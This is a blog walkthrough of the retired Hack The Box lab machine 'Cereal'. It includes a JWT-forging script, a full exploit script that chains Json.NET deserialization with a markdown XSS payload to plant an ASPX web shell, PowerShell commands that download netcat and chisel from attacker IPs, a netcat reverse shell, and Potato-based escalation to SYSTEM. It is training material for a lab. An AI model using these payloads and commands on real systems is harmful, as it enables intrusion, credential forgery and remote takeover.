This post documents the complete walkthrough of Cereal, a retired vulnerable VM created by Micah, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Cereal is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.217 --rate=1000

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-11-24 07:58:39 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 443/tcp on 10.10.10.217
Discovered open port 22/tcp on 10.10.10.217
Discovered open port 80/tcp on 10.10.10.217

Nothing unusual stood out. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80,443 -A --reason 10.10.10.217 -oN nmap.txt
...
PORT    STATE SERVICE  REASON          VERSION
22/tcp  open  ssh      syn-ack ttl 127 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
|   256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_  256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp  open  http     syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
443/tcp open  ssl/http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: 1A506D92387A36A4A778DF0D60892843
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Issuer: commonName=cereal.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-11-11T19:57:18
| Not valid after:  2040-11-11T20:07:19
| MD5:   8785 41e5 4962 7041 af57 94e3 4564 090d
|_SHA-1: 5841 b3f2 29f0 2ada 2c62 e1da 969d b966 57ad 5367
|_ssl-date: 2020-11-24T08:31:32+00:00; 0s from scanner time.
| tls-alpn:
|_  http/1.1

I’d better include cereal.htb and source.cereal.htb into /etc/hosts. Here’s what the site looks like.

http://cereal.htb got redirected to https://cereal.htb/login

On the other hand https://source.cereal.htb ended like this

Directory/File Enumeration

Let’s see what we get with wfuzz and SecLists. Long story short, only source.cereal.htb gave us something useful.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 20 --hc 404 https://source.cereal.htb/FUZZ
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer                         *
********************************************************

Target: https://source.cereal.htb/FUZZ
Total requests: 2482

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000004:   400        85 L     307 W    3788 Ch     "/%3f/"
000000111:   200        32 L     166 W    5748 Ch     "/.git/index"
000000106:   301        1 L      10 W     154 Ch      "/.git"
000000113:   200        4 L      37 W     587 Ch      "/.git/logs/HEAD"
000000114:   301        1 L      10 W     164 Ch      "/.git/logs/refs"
000000109:   200        6 L      16 W     112 Ch      "/.git/config"
000000108:   403        29 L     92 W     1233 Ch     "/.git/"
000000110:   200        1 L      2 W      23 Ch       "/.git/HEAD"
000000112:   403        29 L     92 W     1233 Ch     "/.git/logs/"
000002239:   403        70 L     254 W    3400 Ch     "/Trace.axd"
000002283:   403        29 L     92 W     1233 Ch     "/uploads/"

Total time: 2.752125
Processed Requests: 2482
Filtered Requests: 2471
Requests/sec.: 901.8483

GitDumper

Looks like we have a git repository here. Let’s dump it out with GitDumper.

We have several commits.

But let’s restore the repository first with git checkout -f.

Let’s check the diff between the latest and earliest commit.

Hmm. What do we have here? Looks like it has something to do with JWT authentication—the initial commit has included the secret for creating the HMHAC SHA256 signature. Also, check this out—the latest commit has this extra filter to prevent deserialization attack.

Taking baby steps towards gaining access

Now that we have the source code of the ASP.NET Core MVC + create-react-app (CRA) React app (because of the ClientApp directory), we can start by taking baby steps towards breaking apart the application and gaining access.

Application Settings

The application settings can be found in appsettings.json.

{
  "Logging": {
    "LogLevel": {
      "Default": "Warning"
    }
  },
  "AllowedHosts": "*",
  "ApplicationOptions": {
    "Whitelist": [ "127.0.0.1", "::1" ]
  },
  "IpRateLimiting": {
    "EnableEndpointRateLimiting": true,
    "StackBlockedRequests": false,
    "RealIpHeader": "X-Real-IP",
    "ClientIdHeader": "X-ClientId",
    "HttpStatusCode": 429,
    "IpWhitelist": [ "127.0.0.1", "::1" ],
    "EndpointWhitelist": [],
    "ClientWhitelist": [],
    "GeneralRules": [
      {
        "Endpoint": "post:/requests",
        "Period": "5m",
        "Limit": 2
      },
      {
        "Endpoint": "*",
        "Period": "5m",
        "Limit": 150
      }
    ]
  }
}

We can glean important information from this file. To bypass the IP rate limit, we have to include the X-Real-IP header in our requests.

Without X-Real-IP header

With X-Real-IP header

Next up, the only endpoint is /requests and it only accepts POST request, or so it seems…

HTTP Methods

There’s only one controller: Controllers/RequestController.cs handling the HTTP requests.

using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Authorization;
using System.Linq;
using Cereal.Models;
using Cereal.Services;
using Newtonsoft.Json;
using System;

namespace Cereal.Controllers
{
    [Authorize]
    [ApiController]
    [Route("[controller]")]
    public class RequestsController : ControllerBase
    {
        [HttpPost]
        public IActionResult Create([FromBody]Request request)
        {
            using (var db = new CerealContext())
            {
                try
                {
                    db.Add(request);
                    db.SaveChanges();
                } catch {
                    return BadRequest(new { message = "Invalid request" });
                }
            }

            return Ok(new { message = "Great cereal request!", id = request.RequestId});
        }

        [Authorize(Policy = "RestrictIP")]
        [HttpGet("{id}")]
        public IActionResult Get(int id)
        {
            using (var db = new CerealContext())
            {
                string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
                // Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
                if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
                {
                    return BadRequest(new { message = "The cereal police have been dispatched." });
                }
                var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
                {
                    TypeNameHandling = TypeNameHandling.Auto
                });
                return Ok(cereal.ToString());
            }
        }

        [Authorize(Policy = "RestrictIP")]
        [HttpGet]
        public IActionResult GetAll()
        {
            using (var db = new CerealContext())
            {
                try
                {
                    return Ok(db.Requests.ToArray().Reverse());
                }
                catch
                {
                    return BadRequest(new { message = "Invalid request" });
                }
            }
        }

        [Authorize(Policy = "RestrictIP")]
        [HttpDelete("{id}")]
        public IActionResult Delete(int id)
        {
            using (var db = new CerealContext())
            {
                try
                {
                    db.Requests.Remove(db.Requests.Where(x => x.RequestId == id).SingleOrDefault());
                    db.SaveChanges();
                    return Ok();
                }
                catch
                {
                    return BadRequest(new { message = "Invalid request" });
                }
            }
        }

        [Authorize(Policy = "RestrictIP")]
        [HttpDelete]
        public IActionResult DeleteAll()
        {
            using (var db = new CerealContext())
            {
                try
                {
                    db.Requests.RemoveRange(db.Requests.ToList());
                    db.SaveChanges();
                    return Ok();
                }
                catch
                {
                    return BadRequest(new { message = "Invalid request" });
                }
            }
        }
    }
}

We can see that there are three supported methods or verbs: DELETE, GET and POST. We can verify this with the OPTIONS method against /requests like so.

JSON Web Token (JWT) Authentication

There are two pieces of information hidden in the source code (depending which commit) pertaining to authentication: Services/UserServices.cs and ClientApp/src/_services/authentication.service.js.

Services/UserServices.cs
using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Security.Claims;
using System.Text;
using Microsoft.Extensions.Options;
using Microsoft.IdentityModel.Tokens;
using Cereal.Models;
using Cereal.Helpers;

namespace Cereal.Services
{
    public interface IUserService
    {
        User Authenticate(string username, string password);
    }

    public class UserService : IUserService
    {
         public User Authenticate(string username, string password)
        {
            using (var db = new CerealContext())
            {
                var user = db.Users.Where(x => x.Username == username && x.Password == password).SingleOrDefault();

                // return null if user not found
                if (user == null)
                    return null;

                // authentication successful so generate jwt token
                var tokenHandler = new JwtSecurityTokenHandler();
                var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");
                var tokenDescriptor = new SecurityTokenDescriptor
                {
                    Subject = new ClaimsIdentity(new Claim[]
                    {
                        new Claim(ClaimTypes.Name, user.UserId.ToString())
                    }),
                    Expires = DateTime.UtcNow.AddDays(7),
                    SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
                };
                var token = tokenHandler.CreateToken(tokenDescriptor);
                user.Token = tokenHandler.WriteToken(token);

                return user.WithoutPassword();
            }
        }
    }
}
ClientApp/src/_services/authentication.service.js
import { BehaviorSubject } from 'rxjs';
import { handleResponse } from '../_helpers';

const currentUserSubject = new BehaviorSubject(JSON.parse(localStorage.getItem('currentUser')));

export const authenticationService = {
    login,
    logout,
    currentUser: currentUserSubject.asObservable(),
    get currentUserValue () { return currentUserSubject.value }
};

function login(username, password) {
    const requestOptions = {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ username, password })
    };

    return fetch('/users/authenticate', requestOptions)
        .then(handleResponse)
        .then(user => {
            // store user details and jwt token in local storage to keep user logged in between page refreshes
            localStorage.setItem('currentUser', JSON.stringify(user));
            currentUserSubject.next(user);

            return user;
        });
}

function logout() {
    // remove user from local storage to log user out
    localStorage.removeItem('currentUser');
    currentUserSubject.next(null);
}

I shall not go into details of the JWT format. Suffice to say, once you have authenticated to the application, a token is issued and stored in the browser’s local storage and retrieved for subsequent logins. What we are trying to do here is to bypass the authentication with username and password and go straight to the token.

Armed with the information from the source code, I wrote a simple shell script to generate a valid JWT.

token.sh
#!/bin/bash

NAME=$1
TODAY=$(date +%s)
EXPIRY=$((TODAY + (7*24*60*60)))

HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\"}" | base64url)
PAYLOAD=$(echo -n "{\"name\":\"${NAME}\",\"exp\":$EXPIRY}" | base64url | tr -d '=')

SECRET='secretlhfIH&FY*#oysuflkhskjfhefesf'
SIGNATURE=$(echo -n "${HEADER}.${PAYLOAD}" | openssl dgst -sha256 -hmac $SECRET -binary | base64url | tr -d '=')

TOKEN=${HEADER}.${PAYLOAD}.${SIGNATURE}

echo $TOKEN

It appears that the username is immaterial in generating a token for a user without password. Here I generated a JWT for dipshit

Put the JWT into the local storage for https://cereal.htb/ like so. Take note of the key and its value.

And I’m in!

Now what?

Vulnerability Assessment of Cereal

The most obvious and only way is is through a deserialization in Controllers/RequestsController.cs but we have two things in our way. The first thing is that all the relevant gadgets for Json.NET are filtered and we can’t use them. The next thing is that to get to the deserialization we need to bypass the RestrictIP policy, to make it appear the request came from localhost or 127.0.0.1.

DownloadHelper.cs

Thank goodness the creator left something useful behind.

DownloadHelper.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Threading.Tasks;

namespace Cereal
{
    public class DownloadHelper
    {
        private String _URL;
        private String _FilePath;
        public String URL
        {
            get { return _URL; }
            set
            {
                _URL = value;
                Download();
            }
        }
        public String FilePath
        {
            get { return _FilePath; }
            set
            {
                _FilePath = value;
                Download();
            }
        }

        //https://stackoverflow.com/a/14826068
        public static string ReplaceLastOccurrence(string Source, string Find, string Replace)
        {
            int place = Source.LastIndexOf(Find);

            if (place == -1)
                return Source;

            string result = Source.Remove(place, Find.Length).Insert(place, Replace);
            return result;
        }

        private void Download()
        {
            using (WebClient wc = new WebClient())
            {
                if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
                {
                    wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
                }
            }
        }
    }
}

Since the class is in the Cereal namespace, we should be able to use it to download, say, ASPX web shell or reverse shell to somewhere. But, where? Recall the error page we got when we went to https://source.cereal.htb? Somewhere in that page tells you where is the source of that error.

Combine this information and the directory enumeration we did earlier, we now have the location (/uploads) to put our ASPX code. :grinning:

According to Json.NET documentation, it extremely easy to deserialize JSON to an object.

One small caveat is the type-name resolution in Json.NET.

"$type": "Namespace.Type, Assembly"

You’ll see this in action later in my exploit code.

Cross-Site Scripting in react-marked-markdown

Now that we got the deserialization out of the way, we need a way to bypass the RestrictIP policy: cross-site scripting. Notice that react-marked-markdown in the AdminPage?

import React from 'react';
import { MarkdownPreview } from 'react-marked-markdown';
import { requestService, authenticationService } from '../_services';
import { Accordion, Card, Button } from 'react-bootstrap'

class RequestCard extends React.Component {
    componentDidCatch(error) {
        console.log(error);
    }

    render() {
        try {
            let requestData;
            try {
                requestData = JSON.parse(this.props.request.json);
            } catch (e) {
                requestData = null;
            }
            return (
                <Card>
                    <Card.Header>
                        <Accordion.Toggle as={Button} variant="link" eventKey={this.props.request.requestId} name="expand" id={this.props.request.requestId}>
                            {requestData && requestData.title && typeof requestData.title == 'string' &&
                                <MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} />
                            }
                        </Accordion.Toggle>
                    </Card.Header>
                    <Accordion.Collapse eventKey={this.props.request.requestId}>
                        <div>
                            {requestData &&
                                <Card.Body>
                                    Description:{requestData.description}
                                    <br />
                                    Color:{requestData.color}
                                    <br />
                                    Flavor:{requestData.flavor}
                                </Card.Body>
                            }
                        </div>
                    </Accordion.Collapse>
                </Card>
            );
        } catch (e) { console.log(e); return null };
    }
}

There’s a severe cross-site scripting vulnerability in this package. Check this out.

Meanwhile this appeared on my Python http.server.

Now we can be sure the vulnerability exists in the Title field.

Exploit Development

So, the game plan goes something like this.

1) We POST our serialized payload to https://cereal.htb/requests.

It doesn’t matter what we POST, there are no restrictions. The key is the identifier returned.

2) We GET our payload from https://cereal.htb/requests/<id> to trigger the deserialization.

Step 2 will require shuttling https://cereal.htb/requests/<id> in the Title field through some JavaScript manipulation.

Without further ado, this is my exploit code written in shell because why not? :wink:

exploit.sh
#!/bin/bash

RHOST=https://cereal.htb/requests
LHOST=10.10.14.68
JWT=$(./token.sh admin)
PAYLOAD1='{ "$type": "Cereal.DownloadHelper, Cereal", "URL": "http://LHOST/cmdasp.aspx", "FilePath": "C:/inetpub/source/uploads/cmdasp.aspx" }'
PAYLOAD1=$(echo $PAYLOAD1 | sed -r 's/\"/\\"/g')
PAYLOAD1=${PAYLOAD1/LHOST/$LHOST}

# Step 1 - POST payload
ID=$(curl -k -s \
          -H "Content-Type: application/json" \
          -H "Authorization: Bearer $JWT" \
          -d "{ \"json\": \"$PAYLOAD1\" }" \
          $RHOST \
     | jq .id)

# Step 2 - GET payload with XSS
#
# Step 2a - Build JS payload
read -r -d '' PAYLOAD <<'EOF'
var xhr = new XMLHttpRequest();
xhr.open("GET", "RHOST/ID");
xhr.setRequestHeader("Authorization", "Bearer JWT");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send();
EOF

PAYLOAD=${PAYLOAD/RHOST/$RHOST}
PAYLOAD=${PAYLOAD/ID/$ID}
PAYLOAD=${PAYLOAD/JWT/$JWT}
PAYLOAD=$(base64 -w0 <<<$PAYLOAD)

# Step 2b - Send JS payload
PAYLOAD2="{ \"title\": \"[pwn](javascript:eval(atob(%22$PAYLOAD%22%29%29)\", \"flavor\": \"bacon\", \"color\": \"#FFF\", \"description\": \"Test\" }"
PAYLOAD2=$(echo $PAYLOAD2 | sed -r 's/\"/\\"/g')

curl -k -s \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer $JWT" \
     -d "{\"json\": \"$PAYLOAD2\" }" \
     -o /dev/null \
     $RHOST

echo "[+] Look out for the download!"

Let’s give it a shot!

Foothold

Going to https://source.cereal.htb/uploads/cmdasp.aspx we are greeted with a web shell.

Armed with this web shell, we can proceed to get that coveted reverse shell with a little netcat like so.

powershell -c iwr http://10.10.16.125/nc64.exe -outf \temp\cute.exe

Notice I rename nc64.exe to cute.exe and that I’d created C:\temp prior to that. Next, we run the following command.

start \temp\cute 10.10.16.125 1234 -e cmd.exe

And here’s our shell!

The file user.txt is at sonny’s Desktop.

Privilege Escalation

During enumeration of sonny’s account, I notice that sonny has SeImpersonatePrivilege.

However, this machine is running Windows Server 2019 so Juicy Potato is out of the question.

On top of that, I also notice a 8080/tcp running on the machine. Note that it’s running with SYSTEM privileges.

Local Port Forwarding with chisel

Let’s do a local port forwarding for 8080/tcp. But first, we need to transfer chisel.exe over to the remote machine like so.

powershell iwr http://10.10.14.68/chisel.exe -outf \temp\chisel.exe

Connect the chisel.exe client to the chisel server already set up on my machine like so.

start chisel.exe client 10.10.14.68:8888 R:8080:127.0.0.1:8080

This is what’s shown on my chisel server.

Cereal System Manager

Lo and behold. The service behind 8080/tcp is the Cereal System Manager.

If you take a look at the HTML source code of the page, you’ll find something interesting.

The results are populated using GraphQL queries.

Altair GraphQL Client

This nifty Firefox add-on helps us in enumerating all the available queries.

Let’s run a query to halt the operations of plant 1.

Now the plant is halted.

Very cool.

RoguePotato/SweetPotato/GenericPotato

The evolution of the Potato local privilege escalation exploit abusing SeImpersonatePrivilege to move beyond Windows 10 1809 and Windows Server 2019 is truly a classic case of developers standing on the shoulders of giants.

So how is GraphQL going to help us in pwning Cereal? If we can trick the NT AUTHORITY\SYSTEM account into authenticating via NTLM to a TCP endpoint we control, we are done like what decoder said.

We may not be able to trigger outbound connection to our attacking machine if the firewall blocks outbound traffic, like in the case of RoguePotato—outbound traffic to 135/tcp is blocked.

However, if we can make use of a SSRF vulnerability as in the updatePlant mutation in GraphQL, then the GenericPotato would totally suffice. I wonder if GenericPotato is developed by the creator? :thinking: Building GenericPotato is beyond the scope of this write-up, however, if you have Visual Studio 2019, then building GenericPotato is a breeze. You still need to clone the repository from GitHub though. :smile:

Note that I’ve renamed GenericPotato.exe to fries.exe.

Trigger the authentication with updatePlant mutation like so.

A SYSTEM shell appears on my netcat listener!

Getting root.txt is a breeze.

:dancer: